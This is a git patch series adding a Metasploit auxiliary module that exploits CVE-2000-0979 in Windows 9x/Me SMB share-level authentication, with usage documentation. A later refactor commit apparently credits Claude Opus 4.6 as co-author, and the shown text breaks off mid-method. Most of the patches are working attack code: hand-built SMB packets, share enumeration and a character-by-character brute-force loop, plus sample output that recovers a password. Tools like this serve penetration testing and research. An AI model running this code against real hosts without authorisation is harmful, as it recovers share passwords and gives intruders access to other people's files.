From 5003a0b21dc501e1b827327dc60c3c987aa82270 Mon Sep 17 00:00:00 2001 From: Z6543 Date: Fri, 6 Mar 2026 13:56:52 +0000 Subject: [PATCH 01/13] Add auxiliary module for CVE-2000-0979 SMB share password enumeration Adds a module that exploits the byte-by-byte password validation vulnerability in Windows 9x/Me SMB share-level authentication, allowing share passwords to be recovered character by character. --- .../auxiliary/scanner/smb/cve_2000_0979.md | 73 ++++ .../auxiliary/scanner/smb/cve_2000_0979.rb | 367 ++++++++++++++++++ 2 files changed, 440 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/smb/cve_2000_0979.md create mode 100644 modules/auxiliary/scanner/smb/cve_2000_0979.rb diff --git a/documentation/modules/auxiliary/scanner/smb/cve_2000_0979.md b/documentation/modules/auxiliary/scanner/smb/cve_2000_0979.md new file mode 100644 index 0000000000000..ec99727787460 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/smb/cve_2000_0979.md @@ -0,0 +1,73 @@ +# Description + +This module exploits CVE-2000-0979, an information disclosure vulnerability in the +share-level password authentication of Microsoft Windows 9x/Me SMB servers. The server +validates share passwords one character at a time, allowing an attacker to enumerate the +correct password byte-by-byte based on the server response. This significantly reduces +the brute-force complexity from exponential to linear in the password length. + +A zero-length password is always accepted by vulnerable servers. Each subsequent character +can then be brute-forced individually by observing the authentication response. + +The module first enumerates available shares on the target via a NetShareEnum request, +then attempts to recover the password for each share. + +## Vulnerable Systems + +- Microsoft Windows 95 +- Microsoft Windows 98 +- Microsoft Windows 98 SE +- Microsoft Windows Me + +___ + +# Usage + +``` +msf6 > use auxiliary/scanner/smb/cve_2000_0979 +msf6 auxiliary(scanner/smb/cve_2000_0979) > set RHOSTS 192.168.1.100 +RHOSTS => 192.168.1.100 +msf6 auxiliary(scanner/smb/cve_2000_0979) > run + +[*] Starting CVE-2000-0979 SMB Share Password Enumerator +[+] Number of shares: 3 +[+] Share names: +[+] PUBLIC +[+] PRIVATE +[+] IPC$ +[*] Brute-forcing password for share: PUBLIC +[+] Empty password works for share: PUBLIC +[*] Brute-forcing password for share: PRIVATE +[*] Share PRIVATE - confirmed so far: s +[*] Share PRIVATE - confirmed so far: se +[*] Share PRIVATE - confirmed so far: sec +[*] Share PRIVATE - confirmed so far: secr +[*] Share PRIVATE - confirmed so far: secre +[*] Share PRIVATE - confirmed so far: secret +[+] Password found for share PRIVATE: secret +[*] Auxiliary module execution completed +``` + +___ + +## Options + +### RHOSTS + +The target host running a vulnerable Windows 9x/Me SMB server. Typically port 139 (NetBIOS). + +### RPORT + +The SMB port to connect to. Defaults to `139`. + +### DELAY + +Optional delay (in seconds) between password probe attempts. Defaults to `0`. Can be +useful to avoid triggering rate limiting or network issues on unstable connections. + +___ + +## References + +- [CVE-2000-0979](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0979) +- [SecurityFriday Share Password Checker](http://www.securityfriday.com/tools/SPC.html) diff --git a/modules/auxiliary/scanner/smb/cve_2000_0979.rb b/modules/auxiliary/scanner/smb/cve_2000_0979.rb new file mode 100644 index 0000000000000..83ec8aa9c61be --- /dev/null +++ b/modules/auxiliary/scanner/smb/cve_2000_0979.rb @@ -0,0 +1,367 @@ +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'CVE-2000-0979 SMB Share Password Enumerator', + 'Description' => %q{ + This module exploits CVE-2000-0979, an information disclosure vulnerability + in the share-level password authentication of Microsoft Windows 9x/Me SMB + servers. The server validates passwords one character at a time, allowing an + attacker to enumerate the correct password byte-by-byte based on the server + response. A zero-length password is always accepted, and each subsequent + character can be brute-forced individually, significantly reducing the search + space required to recover the full share password. + }, + 'Author' => [ + 'Zoltan Balazs @zh4ck', + 'Azbil SecurityFriday Co Ltd' + ], + 'References' => [ + ['CVE', '2000-0979'], + ['URL', 'http://www.securityfriday.com/tools/SPC.html'], + ], + 'DisclosureDate' => '2000-10-10', + 'License' => MSF_LICENSE, + 'Notes' => { + 'AKA' => ['Share Password Checker'], + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + OptInt.new('DELAY', [false, 'Add delay between password probes', 0]), + OptPort.new('RPORT', [true, 'Set a port', 139]) + ] + ) + end + + def send_recv_once(data) + buf = '' + begin + sock.put(data.pack('C*')) + buf = sock.get_once || '' + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + end + buf + end + + def update_tid(packet, tid) + tid_arr = tid.unpack('C*') + packet.map! do |val| + if val == 'tid0' + tid_arr[0] + elsif val == 'tid1' + tid_arr[1] + else + val + end + end + packet + end + + def update_password(packet, params) + new_packet = packet.map do |val| + case val + when 'length0' then params[:length0] + when 'length1' then params[:length1] + when 'byte_count0' then params[:byte_count0] + when 'byte_count1' then params[:byte_count1] + when 'nbs_length' then params[:nbs_length] + else val + end + end + + share_chars = params[:share].chars.map(&:ord) + + new_packet.insert(new_packet.find_index('share'), share_chars).flatten! + new_packet.delete_at(new_packet.find_index('share')) + + new_packet.insert(new_packet.find_index('password'), params[:password]).flatten! + new_packet.delete_at(new_packet.find_index('password')) + + new_packet + end + + def update_machine_name(packet, machine_name) + packet.insert(packet.find_index('machine_name'), machine_name).flatten! + packet.delete_at(packet.find_index('machine_name')) + packet + end + + def run + delay = datastore['DELAY'] + print_status 'Starting CVE-2000-0979 SMB Share Password Enumerator' + connect + + tree_disconnect_request = [ + 0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42, + 0x71, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0xff, 0xfe, + 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00 + ] + + machine_name = 32.times.map { Random.rand(65..70) } + + session_request_def = [ + 0x81, 0x00, 0x00, 0x44, 0x20, 0x45, 0x45, 0x45, + 0x46, 0x45, 0x47, 0x45, 0x42, 0x46, 0x46, 0x45, + 0x4d, 0x46, 0x45, 0x43, 0x41, 0x43, 0x41, 0x43, + 0x41, 0x43, 0x41, 0x43, 0x41, 0x43, 0x41, 0x43, + 0x41, 0x43, 0x41, 0x43, 0x41, 0x00, 0x20, 'machine_name', 0x00 + ] + + session_request_def = update_machine_name(session_request_def, machine_name) + + neg_prot_req = [ + 0x00, 0x00, 0x00, 0x2f, 0xff, 0x53, 0x4d, 0x42, + 0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x53, 0xc8, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xfe, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x02, 0x4e, 0x54, + 0x20, 0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, + 0x00 + ] + + sess_setup_andx_req = [ + 0x00, 0x00, 0x00, 0x9d, 0xff, 0x53, 0x4d, 0x42, + 0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xfe, + 0x00, 0x00, 0x04, 0x00, 0x0d, 0x75, 0x00, 0x74, + 0x00, 0x68, 0x0b, 0x02, 0x00, 0x00, 0x00, 0x09, + 0x06, 0x03, 0x80, 0x01, 0x00, 0x01, 0x00, 0x00, + 0x00, 0x00, 0x00, 0xd4, 0x00, 0x00, 0x00, 0x37, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x69, 0x6e, + 0x64, 0x6f, 0x77, 0x73, 0x20, 0x32, 0x30, 0x30, + 0x30, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, + 0x65, 0x20, 0x50, 0x61, 0x63, 0x6b, 0x20, 0x33, + 0x20, 0x32, 0x36, 0x30, 0x30, 0x00, 0x57, 0x69, + 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x32, 0x30, + 0x30, 0x30, 0x20, 0x35, 0x2e, 0x31, 0x00, 0x00, + 0x04, 0xff, 0x00, 0x9d, 0x00, 0x08, 0x00, 0x01, + 0x00, 0x1e, 0x00, 0x00, 0x5c, 0x5c, 0x31, 0x39, + 0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x31, 0x32, + 0x32, 0x2e, 0x31, 0x34, 0x31, 0x5c, 0x49, 0x50, + 0x43, 0x24, 0x00, 0x3f, 0x3f, 0x3f, 0x3f, 0x3f, + 0x00 + ] + + netshareenum_request = [ + 0x00, 0x00, 0x00, 0x63, 0xff, 0x53, 0x4d, 0x42, + 0x25, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 'tid0', 'tid1', 0xff, 0xfe, + 0x00, 0x00, 0x14, 0x00, 0x0e, 0x13, 0x00, 0x00, + 0x00, 0x08, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, + 0x00, 0x88, 0x13, 0x00, 0x00, 0x00, 0x00, 0x13, + 0x00, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x24, 0x00, 0x5c, 0x50, 0x49, 0x50, 0x45, + 0x5c, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x72, + 0x4c, 0x65, 0x68, 0x00, 0x42, 0x31, 0x33, 0x42, + 0x57, 0x7a, 0x00, 0x01, 0x00, 0x00, 0x10 + ] + + sess_setup_andx_req_anon = [ + 0x00, 0x00, 0x00, 0x60, 0xff, 0x53, 0x4d, 0x42, + 0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x20, 0x01, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0b, + 0x00, 0x00, 0x01, 0x00, 0x0a, 0xff, 0x00, 0x00, + 0x00, 0x68, 0x0b, 0x02, 0x00, 0x01, 0x00, 0x0a, + 0x06, 0x02, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x29, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, + 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, + 0x32, 0x30, 0x30, 0x30, 0x20, 0x32, 0x31, 0x39, + 0x35, 0x00, 0x00, 0x57, 0x69, 0x6e, 0x64, 0x6f, + 0x77, 0x73, 0x20, 0x32, 0x30, 0x30, 0x30, 0x20, + 0x35, 0x2e, 0x30, 0x00 + ] + + tree_connect_request_path_password = [ + 0x00, 0x00, 0x00, 'nbs_length', 0xff, 0x53, 0x4d, 0x42, + 0x75, 0x00, 0x00, 0x00, 0x00, 0x18, 0x20, 0x01, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0b, + 0x00, 0x00, 0x01, 0x00, 0x04, 0xff, 0x00, 0x00, + 0x00, 0x00, 0x00, + 'length0', 'length1', 'byte_count0', 'byte_count1', 'password', + 'share', 0x00, 0x3f, 0x3f, 0x3f, 0x3f, 0x3f, 0x00 + ] + + tree_disconnect = [ + 0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42, + 0x71, 0x00, 0x00, 0x00, 0x00, 0x18, 0x20, 0x01, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 'tid0', 'tid1', 0xc0, 0x0b, + 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00 + ] + + client_packets = [ + { 'tree_disconnect_request' => tree_disconnect_request }, + { 'close1' => 'close' }, + { 'session_request_def' => session_request_def }, + { 'neg_prot_req' => neg_prot_req }, + { 'sess_setup_andx_req' => sess_setup_andx_req }, + { 'netshareenum_request' => netshareenum_request }, + { 'close3' => 'close' }, + { 'session_request_2' => session_request_def }, + { 'neg_prot_req_2' => neg_prot_req }, + { 'sess_setup_andx_req_anon' => sess_setup_andx_req_anon } + ] + + tid = nil + shares = [] + failed = false + + client_packets.each do |val| + if val[val.keys[0]].to_s == 'close' && sock + disconnect + vprint_status 'Reconnecting...' + connect + next + elsif !sock + vprint_status 'Opening socket...' + connect + next + end + + if ['netshareenum_request'].include?(val.keys[0]) + if tid.nil? || !tid.is_a?(String) + print_error "TID not set, cannot send #{val.keys[0]}. Skipping." + next + end + packet = update_tid(val[val.keys[0]], tid) + else + packet = val[val.keys[0]] + end + + vprint_status "Sending: #{val.keys[0]}" + response = send_recv_once(packet) + + if val.keys[0] == 'sess_setup_andx_req' + if response.nil? || response.length < 30 + print_error 'Invalid response to session setup request.' + failed = true + break + end + tid = response[28..29] + vprint_status 'Got TID' + end + + if (val.keys[0] == 'session_request_def') && (response[0].ord != 0x82) + print_error 'Session response is not positive! Exiting.' + failed = true + break + end + + if (val.keys[0] == 'neg_prot_req') && (response[9].ord != 0x0) + print_error 'Error in negotiation! Exiting.' + failed = true + break + end + + if val.keys[0] == 'netshareenum_request' + num_of_shares = response[65..66].unpack('cc').first + print_good "Number of shares: #{num_of_shares}" + print_good 'Share names:' + num_of_shares.times do |n| + offset = (n * 20) + 68 + share_name = response[offset..offset + 15] + shares.push(share_name) + print_good " #{share_name}" + end + end + rescue IOError, SocketError, SystemCallError => e + print_error e.message + print_error e.backtrace.inspect + failed = true + end + + unless failed + brute_force_shares(shares, tree_connect_request_path_password, tree_disconnect, delay) + end + + disconnect + end + + private + + def brute_force_shares(shares, tree_connect_template, tree_disconnect, delay) + shares.each do |share| + share = share.delete("\000") + nbs_length = 0x33 + share.length + length0 = 0x01 + length1 = 0x00 + byte_count0 = 0x08 + share.length + byte_count1 = 0x00 + password = [0x20] + + print_status "Brute-forcing password for share: #{share}" + + loop do + params = { + nbs_length: nbs_length, length0: length0, length1: length1, + byte_count0: byte_count0, byte_count1: byte_count1, + password: password, share: share + } + packet = update_password(tree_connect_template, params) + response = send_recv_once(packet) + + status_bytes = response[9..12].unpack('C4') + if status_bytes[0] == 0 + if password[0] == 0x20 && password[1] == 0x20 + print_good "Empty password works for share: #{share}" + break + end + + confirmed = password.select { |v| v < 128 }.map(&:chr).join + print_status "Share #{share} - confirmed so far: #{confirmed}" + + length0 += 1 + nbs_length += 1 + byte_count0 += 1 + password.push(0x20) + + tid = response[28..29] if response && response.length >= 30 + if tid && tid.is_a?(String) + pkt = update_tid(tree_disconnect, tid) + send_recv_once(pkt) + end + else + password[length0 - 1] += 1 + + vprint_status password.select { |v| v < 128 }.map(&:chr).join + + sleep(delay) if delay > 0 + sleep(0.01) + + if password[length0 - 1] > 128 + found = password.select { |v| v < 128 }.map(&:chr).join + if length0 > 1 + print_good "Password found for share #{share}: #{found}" + else + print_status "Password not found for share: #{share}" + end + break + end + end + rescue IOError, SocketError, SystemCallError => e + print_error e.message + print_error e.backtrace.inspect + break + end + end + end +end From a9caccdca2810b707ae3f629345d8d4d923a502f Mon Sep 17 00:00:00 2001 From: Z6543 Date: Sat, 14 Mar 2026 14:17:13 +0000 Subject: [PATCH 02/13] Refactor cve_2000_0979 to use RubySMB instead of hardcoded packets Replace all hardcoded SMB byte arrays with RubySMB packet classes and Metasploit SMB client mixins. The module previously built every SMB packet (NetBIOS session request, negotiate, session setup, tree connect, tree disconnect, and RAP NetShareEnum) as raw byte arrays with placeholder-based templating, sent over a bare TCP socket. Connection and authentication now use the standard SMB::Client and SMB::Client::Authenticated mixins via connect() + smb_login(), which handle NetBIOS session setup, dialect negotiation, and session setup automatically. This replaces six hardcoded packet definitions and the sequential packet-dispatch loop that drove them. Share enumeration uses RubySMB::Client#net_share_enum_rap, which builds the RAP transaction over \PIPE\LANMAN internally. This replaces the hardcoded netshareenum_request byte array and the manual TID-patching and response-offset parsing (response[65..66] for count, 20-byte stride at offset 68 for entries). The brute-force phase builds TreeConnectRequest and TreeDisconnectRequest using RubySMB::SMB1::Packet classes, with password_length and password fields set programmatically. Packets are sent through simple.client.send_recv and responses are parsed via TreeConnectResponse, checking smb_header.nt_status.value for success/failure. This replaces the tree_connect_request_path_password template with its five placeholder fields (nbs_length, length0, length1, byte_count0, byte_count1) and the manual update_password, update_tid, and update_machine_name substitution methods. The byte-by-byte CVE-2000-0979 brute-force logic is preserved: start each position at 0x20, increment on failure, extend on success, and detect empty passwords when both first and second positions succeed at 0x20 without iteration. Co-Authored-By: Claude Opus 4.6 --- .../auxiliary/scanner/smb/cve_2000_0979.rb | 375 +++++------------- 1 file changed, 101 insertions(+), 274 deletions(-) diff --git a/modules/auxiliary/scanner/smb/cve_2000_0979.rb b/modules/auxiliary/scanner/smb/cve_2000_0979.rb index 83ec8aa9c61be..61851de2ab912 100644 --- a/modules/auxiliary/scanner/smb/cve_2000_0979.rb +++ b/modules/auxiliary/scanner/smb/cve_2000_0979.rb @@ -1,8 +1,16 @@ class MetasploitModule < Msf::Auxiliary - include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Auxiliary::Report + RAP_SHARE_TYPES = { + 0 => 'DISK', + 1 => 'PRINTER', + 2 => 'DEVICE', + 3 => 'IPC' + }.freeze + def initialize(info = {}) super( update_info( @@ -39,327 +47,146 @@ def initialize(info = {}) register_options( [ OptInt.new('DELAY', [false, 'Add delay between password probes', 0]), - OptPort.new('RPORT', [true, 'Set a port', 139]) + Opt::RPORT(139) ] ) end - def send_recv_once(data) - buf = '' - begin - sock.put(data.pack('C*')) - buf = sock.get_once || '' - rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e - elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") - end - buf - end - - def update_tid(packet, tid) - tid_arr = tid.unpack('C*') - packet.map! do |val| - if val == 'tid0' - tid_arr[0] - elsif val == 'tid1' - tid_arr[1] - else - val - end - end - packet - end - - def update_password(packet, params) - new_packet = packet.map do |val| - case val - when 'length0' then params[:length0] - when 'length1' then params[:length1] - when 'byte_count0' then params[:byte_count0] - when 'byte_count1' then params[:byte_count1] - when 'nbs_length' then params[:nbs_length] - else val - end - end - - share_chars = params[:share].chars.map(&:ord) - - new_packet.insert(new_packet.find_index('share'), share_chars).flatten! - new_packet.delete_at(new_packet.find_index('share')) - - new_packet.insert(new_packet.find_index('password'), params[:password]).flatten! - new_packet.delete_at(new_packet.find_index('password')) - - new_packet - end - - def update_machine_name(packet, machine_name) - packet.insert(packet.find_index('machine_name'), machine_name).flatten! - packet.delete_at(packet.find_index('machine_name')) - packet - end - def run delay = datastore['DELAY'] - print_status 'Starting CVE-2000-0979 SMB Share Password Enumerator' - connect - - tree_disconnect_request = [ - 0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42, - 0x71, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0xff, 0xfe, - 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00 - ] - - machine_name = 32.times.map { Random.rand(65..70) } - - session_request_def = [ - 0x81, 0x00, 0x00, 0x44, 0x20, 0x45, 0x45, 0x45, - 0x46, 0x45, 0x47, 0x45, 0x42, 0x46, 0x46, 0x45, - 0x4d, 0x46, 0x45, 0x43, 0x41, 0x43, 0x41, 0x43, - 0x41, 0x43, 0x41, 0x43, 0x41, 0x43, 0x41, 0x43, - 0x41, 0x43, 0x41, 0x43, 0x41, 0x00, 0x20, 'machine_name', 0x00 - ] + print_status('Starting CVE-2000-0979 SMB Share Password Enumerator') - session_request_def = update_machine_name(session_request_def, machine_name) + # Phase 1: Connect and enumerate shares via RAP + connect(versions: [1], backend: :ruby_smb, direct: false) + smb_login - neg_prot_req = [ - 0x00, 0x00, 0x00, 0x2f, 0xff, 0x53, 0x4d, 0x42, - 0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x53, 0xc8, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xfe, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x02, 0x4e, 0x54, - 0x20, 0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, - 0x00 - ] - - sess_setup_andx_req = [ - 0x00, 0x00, 0x00, 0x9d, 0xff, 0x53, 0x4d, 0x42, - 0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xfe, - 0x00, 0x00, 0x04, 0x00, 0x0d, 0x75, 0x00, 0x74, - 0x00, 0x68, 0x0b, 0x02, 0x00, 0x00, 0x00, 0x09, - 0x06, 0x03, 0x80, 0x01, 0x00, 0x01, 0x00, 0x00, - 0x00, 0x00, 0x00, 0xd4, 0x00, 0x00, 0x00, 0x37, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x69, 0x6e, - 0x64, 0x6f, 0x77, 0x73, 0x20, 0x32, 0x30, 0x30, - 0x30, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, - 0x65, 0x20, 0x50, 0x61, 0x63, 0x6b, 0x20, 0x33, - 0x20, 0x32, 0x36, 0x30, 0x30, 0x00, 0x57, 0x69, - 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x32, 0x30, - 0x30, 0x30, 0x20, 0x35, 0x2e, 0x31, 0x00, 0x00, - 0x04, 0xff, 0x00, 0x9d, 0x00, 0x08, 0x00, 0x01, - 0x00, 0x1e, 0x00, 0x00, 0x5c, 0x5c, 0x31, 0x39, - 0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x31, 0x32, - 0x32, 0x2e, 0x31, 0x34, 0x31, 0x5c, 0x49, 0x50, - 0x43, 0x24, 0x00, 0x3f, 0x3f, 0x3f, 0x3f, 0x3f, - 0x00 - ] + shares = enum_shares_rap + if shares.empty? + print_status('No shares found') + disconnect + return + end - netshareenum_request = [ - 0x00, 0x00, 0x00, 0x63, 0xff, 0x53, 0x4d, 0x42, - 0x25, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 'tid0', 'tid1', 0xff, 0xfe, - 0x00, 0x00, 0x14, 0x00, 0x0e, 0x13, 0x00, 0x00, - 0x00, 0x08, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, - 0x00, 0x88, 0x13, 0x00, 0x00, 0x00, 0x00, 0x13, - 0x00, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x24, 0x00, 0x5c, 0x50, 0x49, 0x50, 0x45, - 0x5c, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x72, - 0x4c, 0x65, 0x68, 0x00, 0x42, 0x31, 0x33, 0x42, - 0x57, 0x7a, 0x00, 0x01, 0x00, 0x00, 0x10 - ] + disconnect - sess_setup_andx_req_anon = [ - 0x00, 0x00, 0x00, 0x60, 0xff, 0x53, 0x4d, 0x42, - 0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x20, 0x01, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0b, - 0x00, 0x00, 0x01, 0x00, 0x0a, 0xff, 0x00, 0x00, - 0x00, 0x68, 0x0b, 0x02, 0x00, 0x01, 0x00, 0x0a, - 0x06, 0x02, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x29, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, - 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, - 0x32, 0x30, 0x30, 0x30, 0x20, 0x32, 0x31, 0x39, - 0x35, 0x00, 0x00, 0x57, 0x69, 0x6e, 0x64, 0x6f, - 0x77, 0x73, 0x20, 0x32, 0x30, 0x30, 0x30, 0x20, - 0x35, 0x2e, 0x30, 0x00 - ] + # Phase 2: Reconnect and brute-force share passwords + connect(versions: [1], backend: :ruby_smb, direct: false) + smb_login - tree_connect_request_path_password = [ - 0x00, 0x00, 0x00, 'nbs_length', 0xff, 0x53, 0x4d, 0x42, - 0x75, 0x00, 0x00, 0x00, 0x00, 0x18, 0x20, 0x01, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0b, - 0x00, 0x00, 0x01, 0x00, 0x04, 0xff, 0x00, 0x00, - 0x00, 0x00, 0x00, - 'length0', 'length1', 'byte_count0', 'byte_count1', 'password', - 'share', 0x00, 0x3f, 0x3f, 0x3f, 0x3f, 0x3f, 0x00 - ] + brute_force_shares(shares, delay) - tree_disconnect = [ - 0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42, - 0x71, 0x00, 0x00, 0x00, 0x00, 0x18, 0x20, 0x01, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 'tid0', 'tid1', 0xc0, 0x0b, - 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00 - ] + disconnect + rescue ::Interrupt + raise $ERROR_INFO + rescue Rex::ConnectionTimeout => e + print_error(e.to_s) + rescue Rex::Proto::SMB::Exceptions::LoginError => e + print_error(e.to_s) + rescue RubySMB::Error::RubySMBError => e + print_error("RubySMB error: #{e}") + rescue StandardError => e + print_error("#{e.class}: #{e}") + ensure + begin + disconnect + rescue StandardError # rubocop:disable Lint/SuppressedException + end + end - client_packets = [ - { 'tree_disconnect_request' => tree_disconnect_request }, - { 'close1' => 'close' }, - { 'session_request_def' => session_request_def }, - { 'neg_prot_req' => neg_prot_req }, - { 'sess_setup_andx_req' => sess_setup_andx_req }, - { 'netshareenum_request' => netshareenum_request }, - { 'close3' => 'close' }, - { 'session_request_2' => session_request_def }, - { 'neg_prot_req_2' => neg_prot_req }, - { 'sess_setup_andx_req_anon' => sess_setup_andx_req_anon } - ] + private - tid = nil + def enum_shares_rap shares = [] - failed = false - - client_packets.each do |val| - if val[val.keys[0]].to_s == 'close' && sock - disconnect - vprint_status 'Reconnecting...' - connect - next - elsif !sock - vprint_status 'Opening socket...' - connect - next - end - - if ['netshareenum_request'].include?(val.keys[0]) - if tid.nil? || !tid.is_a?(String) - print_error "TID not set, cannot send #{val.keys[0]}. Skipping." - next - end - packet = update_tid(val[val.keys[0]], tid) - else - packet = val[val.keys[0]] - end - - vprint_status "Sending: #{val.keys[0]}" - response = send_recv_once(packet) + raw_shares = simple.client.net_share_enum_rap(rhost) + raw_shares.each do |s| + type_str = RAP_SHARE_TYPES.fetch(s[:type], "UNKNOWN(#{s[:type]})") + shares << s[:name] + print_good("#{s[:name]} - (#{type_str})") + end + print_good("Number of shares: #{shares.length}") + shares + rescue StandardError => e + print_error("Share enumeration failed: #{e}") + [] + end - if val.keys[0] == 'sess_setup_andx_req' - if response.nil? || response.length < 30 - print_error 'Invalid response to session setup request.' - failed = true - break - end - tid = response[28..29] - vprint_status 'Got TID' - end + # Sends a TreeConnect request with exact password bytes and returns + # success/failure without raising on bad status. + def try_tree_connect(share_path, password_bytes) + request = RubySMB::SMB1::Packet::TreeConnectRequest.new + request.smb_header.tid = 65_535 - if (val.keys[0] == 'session_request_def') && (response[0].ord != 0x82) - print_error 'Session response is not positive! Exiting.' - failed = true - break - end + pass_str = password_bytes.pack('C*') + request.parameter_block.password_length = pass_str.length + request.data_block.password = pass_str + request.data_block.path = share_path - if (val.keys[0] == 'neg_prot_req') && (response[9].ord != 0x0) - print_error 'Error in negotiation! Exiting.' - failed = true - break - end - - if val.keys[0] == 'netshareenum_request' - num_of_shares = response[65..66].unpack('cc').first - print_good "Number of shares: #{num_of_shares}" - print_good 'Share names:' - num_of_shares.times do |n| - offset = (n * 20) + 68 - share_name = response[offset..offset + 15] - shares.push(share_name) - print_good " #{share_name}" - end - end - rescue IOError, SocketError, SystemCallError => e - print_error e.message - print_error e.backtrace.inspect - failed = true - end + raw_response = simple.client.send_recv(request) + response = RubySMB::SMB1::Packet::TreeConnectResponse.read( + raw_response + ) - unless failed - brute_force_shares(shares, tree_connect_request_path_password, tree_disconnect, delay) - end + success = response.smb_header.nt_status.value == 0 + tid = response.smb_header.tid if success - disconnect + { success: success, tid: tid } + rescue StandardError => e + vprint_error("Tree connect error: #{e}") + { success: false, tid: nil } end - private + def send_tree_disconnect(tid) + request = RubySMB::SMB1::Packet::TreeDisconnectRequest.new + request.smb_header.tid = tid + simple.client.send_recv(request) + rescue StandardError => e + vprint_error("Tree 